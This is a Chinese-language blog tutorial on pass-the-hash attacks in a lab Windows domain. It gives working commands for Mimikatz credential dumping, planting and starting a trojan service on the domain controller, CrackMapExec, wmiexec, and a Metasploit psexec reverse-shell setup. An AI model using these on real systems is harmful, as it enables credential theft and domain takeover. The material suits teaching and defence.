<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    內網滲透|談談HASH傳遞那些世人皆知的事

    VSole2021-07-23 10:03:00

    前言

    Pass The Hash 即哈希傳遞攻擊,簡稱 PTH,該攻擊方法通過找到與賬戶相關的密碼散列值 NTLM Hash 來進行攻擊的。由于在 Windows 系統 NTLM 認證的 TYPE 3 消息計算 Response 的時候,客戶端是使用用戶的 NTLM Hash 進行計算的,而不是用戶密碼進行計算的。因此在模擬用戶登錄或對訪問資源的用戶進行身份認證的時候,是不需要用戶明文密碼的,只需要用戶 Hash。攻擊者可以利用 NTLM HASH 直接遠程登錄目標主機或反彈 Shell。

    在域環境中,用戶登錄計算機時一般使用域賬號,大量計算機在安裝時會使用相同的本地管理員賬號和密碼,因此,如果計算機的本地管理員賬號和密碼也相同,攻擊者就能使用哈希傳遞攻擊的方法來登錄內網中的其他主機。使用該方法,攻擊者不需要花費時間來對Hash進行爆破,在內網滲透里非常經典。常常適用于域環境或工作組環境。

    哈希傳遞攻擊

    下面,我們以下圖所示的環境來具體演示哈希傳遞攻擊(PTH)的方法。

    如圖中,右側是一個內網環境,域名為whoamianony.org,有兩臺主要的機器:域成員主機 Windows 7 和域控制器 Windows Server 2012,其中攻擊者已經拿下了內網中的 Windows 7,接下來我們嘗試通過哈希傳遞的方法獲取 Windows Server 2012 的控制權。

    使用 Mimikatz 進行 PTH

    下面演示哈希傳遞攻擊的方法(需要管理員權限):

    首先,攻擊者在Windows 7上面上傳mimikatz,并用mimikatz抓取Hash:

    privilege::debug
    sekurlsa::logonpasswords
    

    如上圖所示,成功抓取到域管理員的 NTLM Hash 為:ab89b1295e69d353dd7614c7a3a80cec

    然后,在 Windows 7 上用 mimikatz 將獲取的 Administrator 的 Hash 添加進 lsass 進程中:

    privilege::debug
    sekurlsa::pth /user:administrator /domain:whoamianony /ntlm:ab89b1295e69d353dd7614c7a3a80cec
    

    成功,此時會自動彈出一個新的cmd窗口,這時訪問遠程主機或服務,就不用提供明文密碼了,如下,我們列出了域控制器 DC 的c盤目錄:

    為了簡潔,上述的操作可以用以下一句話命令代替:

    mimikatz.exe privilege::debug "sekurlsa::pth /domain:whoamianony /user:administrator /ntlm:ab89b1295e69d353dd7614c7a3a80cec /run:cmd.exe" 
    

    此時,為了讓域控制器 DC 上線 Metasploit,我們只需做以下工作。

    生成一個msf木馬shell.exe,將shell.exe上傳到Windows 7主機,然后直接使用 copy 命令將shell.exe復制到域控上:

    copy shell.exe \\DC.whoamianony.org\c$    // 將 shell.exe 復制到域控主機上
    

    i

    sc \\DC.whoamianony.org create backdoor binpath= "c:\shell.exe"http:// 在域控上創建服務啟動木馬
    sc \\DC.whoamianony.org start backdoor     // 在域控上立即啟動該服務
    sc \\DC.whoamianony.org delete backdoor     // 在域控上立即刪除該服務
    

    此時雖然顯示 1053 錯誤,但是如下圖所示,域控制器成功上線,并且還是 SYSTEM 權限:

    注意,哈希傳遞攻擊要注意一下幾點:

    ?dir命令后面要使用主機名,不能用 IP,否則報錯?使用 mimikatz 進行哈希傳遞要具有本地管理員權限

    使用 Crackmapexec 進行 PTH

    該工具位于kali上面,其可以對C段主機批量進行PTH攻擊。

    下載地址:https://github.com/byt3bl33d3r/CrackMapExec.git

    在kali上直接用apt-get就可以安裝:

    apt-get install crackmapexec
    

    對內網主機進行PTH的命令如下:

    crackmapexec smb 192.168.93.30-u administrator -H ab89b1295e69d353dd7614c7a3a80cec -d whoamianony.org -x whoami
    crackmapexec smb 192.168.93.30-u administrator -H ab89b1295e69d353dd7614c7a3a80cec -d whoamianony.org -x ipconfig
    

    ?IP:可以是單個IP也可以是IP段?-u:指定用戶名?-H:指定NTLM Hash?-d:指定域?-x:執行系統命令

    如下圖所示,成功在 DC 主機上執行命令:

    利用 wmiexec 進行 PTH

    ?項目地址:https://github.com/SecureAuthCorp/impacket

    這是 impacket 工具包里面的一個腳本,可以用來 PTH,同時可以走 socks4/5 代理,十分強大。

    首先在攻擊機上安裝 Impacket 工具包:

    git clone https://github.com/CoreSecurity/impacket.git
    cd impacket/
    pip install .
    

    進入 examples 目錄即可找到我們的 wmiexec.py,然后執行以下命令即可:

    python wmiexec.py -hashes 00000000000000000000000000000000:ab89b1295e69d353dd7614c7a3a80cec whoamianony/administrator@192.168.93.129"whoami"
    # (proxychains4) python wmiexec.py -hashes LM Hash:NT Hash 域名/用戶名@IP "命令"
    

    使用 Metasploit 進行 PTH

    經常使用的三個模塊:

    auxiliary/admin/smb/psexec_command      // 在目標機器上執行系統命令              
    exploit/windows/smb/psexec            // 用psexec執行系統命令         
    exploit/windows/smb/psexec_psh         // 使用powershell作為payload
    

    這三個模塊的使用方法相同,這里以exploit/windows/smb/psexec模塊哈希傳遞攻擊域控制器 DC 為例:

    需要設置以下選項:

    use exploit/windows/smb/psexec
    set rhosts 192.168.93.30
    set smbuser administrator
    set smbpass 00000000000000000000000000000000:ab89b1295e69d353dd7614c7a3a80cec  # 完整的Administrator用戶的Hash
    set smbdomain whoamianony
    set payload windows/x64/meterpreter/reverse_tcp
    set lhost 192.168.93.129
    set lport 4444
    exploit
    

    注意這里的 smbpass 選項,其可以為明文密碼,也可以為密碼哈希,但是哈希值必須是完整的,如果不知道前面的LM Hash部分,可以像上面那樣用0代替。

    如下圖所示,攻擊成功,域控成功上線,并且是 SYSTEM 權限:

    利用 PowerShell 進行 PTH

    ?項目地址:https://github.com/Kevin-Robertson/Invoke-TheHash

    Invoke-TheHash 項目是一個基于.Net TCPClient,通過把 NTLM 哈希傳遞給 NTLMv2 身份驗證協議來進行身份驗證的攻擊套件,且執行時客戶端不需要本地管理員權限。Invoke-TheHash 項目中內含如下多個腳本:

    Invoke-WMIExec.ps1    
    Invoke-SMBExec.ps1    
    Invoke-SMBEnum.ps1    
    Invoke-SMBClient.ps1    
    Invoke-TheHash.ps1
    

    其可以執行 WMI 和 SMB 命令,并對內網主機批量進行哈希傳遞攻擊。

    使用 Invoke-SMBExec 腳本

    該腳本通過 SMB 在目標主機創建服務來執行命令,該腳本執行命令沒有回顯,我們可以用它執行一些木馬程序。如下所示,我們通過 Invoke-SMBExec 腳本進行哈希傳遞,在域控制器上執行之前上傳的 shell.exe:

    Import-Module.\Invoke-SMBExec.ps1
    Invoke-SMBExec-Target192.168.93.30-Domain whoamianony -Username administrator -Hash00000000000000000000000000000000:ab89b1295e69d353dd7614c7a3a80cec -Command"c:\shell.exe"-verbose
    

    成功執行 shell.exe,域控上線成功:

    使用 Invoke-TheHash 腳本

    Invoke-TheHash 腳本可以用來通過哈希傳遞在遠程主機上執行 WMI 和 SMB 命令。

    Import-Module.\Invoke-WMIExec.ps1    # 首先需要加載先加載Invoke-WMIExec.ps1腳本
    Import-Module.\Invoke-TheHash.ps1    # 然后再加載Invoke-TheHash.ps1腳本
    Invoke-TheHash-TypeWMIExec-Target192.168.93.1/24-Domain whoamianony -Username administrator -Hash ab89b1295e69d353dd7614c7a3a80cec -Command"c:\shell.exe"-verbose
    

    ?-Target:目標主機名或IP地址/段。?-Username:用于身份驗證的用戶名。?-Domain:用于身份驗證的域。本地帳戶或在用戶名后使用@domain時不需要此參數。?-Hash:用于身份驗證的NTLM密碼哈希(格式:LM:NTLM 或 NTLM)。?****-Command:**在目標上執行的命令。如果命令未指定,則將檢查用戶名和哈希是否可以訪問目標上的SCM。

    注意使用的時候需要先加載 Invoke-WMIExec.ps1 腳本,然后再加載Invoke-TheHash.ps1腳本,因為Invoke-TheHash 里要用到 Invoke-WMIExec 方法。

    成功在域控(192.168.52.138)上執行了 shell.exe,域控成功上線:

    使用 Invoke-SMBClient 腳本

    該腳本支持SMB1,SMB2,SMB signing,如果只有 SMB 文件共享的權限而沒有遠程執行權限的話,可以使用這個腳本列舉遠程主機上的共享目錄、上傳或下載文件、刪除文件。

    使用以下命令可以成功列舉出域控制器上的共享文件:

    Import-Module.\Invoke-SMBClient.ps1
    Invoke-SMBClient-Domain whoamianony -Username administrator -Hash ab89b1295e69d353dd7614c7a3a80cec -Source \\DC.whoamianony.org\c$ -verbose
    # Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Source \\server\share -verbose    查看遠程主機共享目錄
    

    還有以下幾種操作:

    Invoke-SMBClient-Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -ActionDelete-Source \\server\share\file.txt    # 刪除遠程主機上指定的共享文件
    Invoke-SMBClient-Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -ActionGet-Source \\server\share\file.txt    # 在遠程主機上下載指定的共享文件
    Invoke-SMBClient-Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -ActionPut-Source file.exe -Destination \\server\share\subdirectory\file.exe    # 向遠程主機的共享目錄中上傳指定的文件
    

    利用哈希傳遞登錄 RDP 遠程桌面

    在內網滲透中,如果獲得了某個用戶的 NTLM 哈希,我們不僅可以嘗試使用哈希傳遞的方法對WMI和SMB服務進行登錄,對于遠程桌面服務我們同樣可以利用哈希傳遞進行遠程登錄。

    借助 Restricted Admin Mode 進行哈希傳遞登錄 RDP

    適用系統:

    ?Windows 8.1和Windows Server 2012 R2默認支持該功能?Windows 7和Windows Server 2008 R2默認不支持,需要安裝補丁2871997、2973351

    Windows Server 2012 R2 采用了新版的 RDP 遠程桌面協議,在這個新版協議中有一個 ”受限管理員” (Restricted Admin)的特性。相信滲透測試人員和系統管理員都會對這個特性有足夠的興趣,因為通過這個特性,我們可以實現哈希傳遞攻擊并成功登錄遠程桌面。

    在抓取到的 Hash 無法破解的情況下,如果目標主機開啟了 "Restricted Admin Mode" 也行,那么我們便可以使用 Hash 來直接實現 RDP 遠程登錄。Restricted Admin Mode 在 Windows 8.1 和 Windows Server 2012 R2 上默認開啟。

    我們在滲透過程中可以通過修改注冊表的方式開啟目標主機的 Restricted Admin Mode,值為 0 代表開啟,值為 1 代表關閉:

    REG ADD "HKLM\System\CurrentControlSet\Control\Lsa"/v DisableRestrictedAdmin/t REG_DWORD /d 00000000/f
    REG query "HKLM\System\CurrentControlSet\Control\Lsa"| findstr "DisableRestrictedAdmin"# 查看是否成功開啟
    

    如上圖所示,成功在目標主機開啟了 Restricted Admin Mode。

    然后再攻擊機上使用 Mimikatz 進行哈希傳遞,大致原理就是哈希傳遞成功后執行 mstsc.exe /restrictedadmin 來打開遠程桌面:

    privilege::debug
    sekurlsa::pth /user:administrator /domain:whoamianony.org /ntlm:ab89b1295e69d353dd7614c7a3a80cec "/run:mstsc.exe /restrictedadmin"
    

    報錯了,說 CredSSP 加密數據庫錯誤,大概是因為 Windows 10 家庭版的原因吧。然后更換了另一個版本的 Windows 成功了:

    注意,這里的受限管理員模式顧名思義只對管理員組有效。所以如果你獲取到的用戶屬于遠程桌面用戶組,那么是無法通過 Hash 登錄的。

    哈希傳遞攻擊的預防

    微軟在2014年5月發布了 KB2871997 和 KB2928120 兩個補丁。KB2871997是針對PTH攻擊的,這個被稱為“PTH殺手”的更新將使本地帳號不再可以用于遠程接入系統,不管是 Network logon 還是 Interactive login。其后果就是:無法通過本地管理員權限對遠程計算機使用 Psexec、WMI、smbexec、IPC 等,也無法訪問遠程主機的文件共享等。

    但是在測試中發現,在打了 kb2871997 這個補丁后,常規的哈希傳遞已經無法成功,但是唯獨默認的 Administrator(SID 500)帳號例外,利用這個賬號仍可以進行哈希傳遞。注意即使把Administrator改名了,它的SID仍然是500,只要它還是 SID 500那么以前的攻擊方法還是有效。

    域控制器命令模式
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    域內橫向移動技術就是在復雜的內網攻擊中被廣泛使用的一種技術,尤其是在高級持續威脅中。攻擊者會利用該技術,以被攻陷的系統為跳板,訪問其他 域內主機,擴大資產范圍(包括跳板機器中的文檔和存儲的憑證,以及通過跳板機器連接的數據庫、域控制器或其他重要資產)。
    kerberos委派詳解
    2021-10-08 14:49:15
    委派域委派是指,將域內用戶的權限委派給服務賬號,使得服務賬號能以用戶權限開展域內活動。服務賬號,域內用戶的一種類型,服務器運行服務時所用的賬號,將服務運行起來并加入域。例如MSSQL Server在安裝時,會在域內自動注冊服務賬號'SqlServiceAccount',這類賬號不能用于交互式登錄。
    整個2020年,勒索軟件活動變得越來越多,依賴于一個由不同但共同啟用的操作組成的生態系統,以便在進行敲詐勒索之前獲得對感興趣目標的訪問權限。Mandiant威脅情報部門已經追蹤了數個加載程序和后門活動,這些活動導...
    對于尚未更新其系統以解決嚴重Zerologon漏洞的公司,Microsoft會自己處理。從2月9日開始,微軟表示將默認啟用域控制器“強制模式”,這將有助于緩解威脅。域控制器響應身份驗證請求并驗證計算機網絡上的用戶。成功利用此漏洞后,未經身份驗證的攻擊者就可以通過網絡訪問域控制器,從而完全破壞所有Active Directory身份服務。Microsoft 2020年8月的安全更新中首次解決了該漏洞,其嚴重嚴重性CVSS評分為10/10 。
    內網滲透TIPS總結
    2023-01-28 11:00:41
    內網基礎知識1、工作組:工作組是 局域網 中的一個概念,他是長久的資源管理模式。默認情況下使用工作組方式進行資源管理,將不同的 computer 按照不同的要求分類到不同的組。而實際上,因為域名的計算機是使用DNS 來定位域控制器、服務器及其他計算機、網絡服務的,所以域的名字就是DNS 域的名字。在內網滲透測試中,大都是通過尋找 DNS 服務器來確定域控制器的位置的。
    發現內網主機:10.10.10.2、10.10.10.4在meterpreter中輸入命令 shell 進入 成員服務器Winserver 2008-2 的命令行,使用命令查看網絡詳細情況meterpreter > shell. 通過這些信息可以判斷 成員服務器Winserver 2008-2 在 ocean.com 域中,根據 DNS 信息判斷域控主機 IP 為10.10.10.2設置路由使用 Nmap 對內網主機進行掃描meterpreter > background. msf5 exploit > route add 10.10.10.3 255.255.255.0 1. # 將被控機成員服務器Winserver 2008-2的IP添加到 MSF 中,這是給kali增加的路由,添加之后kali才才能找到內網主機
    WEB安全梳理-操作系統
    2022-08-10 07:16:03
    WEB安全梳理-操作系統
    域內橫向移動
    2022-01-11 15:18:17
    利用域內橫向移動技術,訪問其他域內主機
    雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。
    在日常工作中,通常需要一個小型的域環境來復現一些最新的AD域攻擊姿勢,那么今天我們用三臺機器快速搭建一個小型域環境滿足工作需求。后續我也將通過這個小型域做延申,搭建更為復雜的域內環境,進行更為復雜的AD域安全研究。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类